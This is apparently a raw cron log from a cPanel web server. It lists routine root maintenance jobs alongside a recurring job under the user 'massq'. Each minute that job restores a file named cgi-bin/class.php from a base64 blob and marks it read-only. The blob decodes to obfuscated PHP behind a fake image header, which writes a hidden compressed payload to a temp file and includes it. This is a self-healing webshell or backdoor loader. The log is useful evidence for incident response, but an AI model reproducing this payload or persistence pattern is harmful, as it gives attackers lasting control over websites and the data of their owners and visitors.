"$fp")
Sep  4 08:26:01 server CROND[19027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:27:01 server CROND[19404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:27:01 server CROND[19406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:27:01 server CROND[19405]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:27:01 server CROND[19407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:28:01 server CROND[19838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:28:01 server CROND[19840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:28:01 server CROND[19839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:29:01 server CROND[20210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:29:01 server CROND[20212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:29:01 server CROND[20211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:30:01 server CROND[20588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:30:01 server CROND[20589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:30:01 server CROND[20594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:30:01 server CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:30:01 server CROND[20596]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:30:01 server CROND[20597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:30:01 server CROND[20599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:30:01 server CROND[20593]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:30:01 server CROND[20598]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 08:31:01 server CROND[21524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:31:01 server CROND[21525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:31:01 server CROND[21523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:32:01 server CROND[21895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:32:01 server CROND[21896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:32:01 server CROND[21897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:33:01 server CROND[22287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:33:01 server CROND[22288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:33:01 server CROND[22289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:34:01 server CROND[22670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:34:01 server CROND[22671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:34:01 server CROND[22672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:35:01 server CROND[23224]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:35:01 server CROND[23225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:35:01 server CROND[23232]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 08:35:01 server CROND[23233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:35:01 server CROND[23241]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:35:01 server CROND[23244]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:35:01 server CROND[23243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:35:01 server CROND[23242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:35:01 server CROND[23247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:36:01 server CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:36:01 server CROND[24104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:36:01 server CROND[24105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:37:01 server CROND[24625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:37:01 server CROND[24624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:37:01 server CROND[24626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:38:01 server CROND[24991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:38:01 server CROND[24992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:38:01 server CROND[24993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:39:01 server CROND[25372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
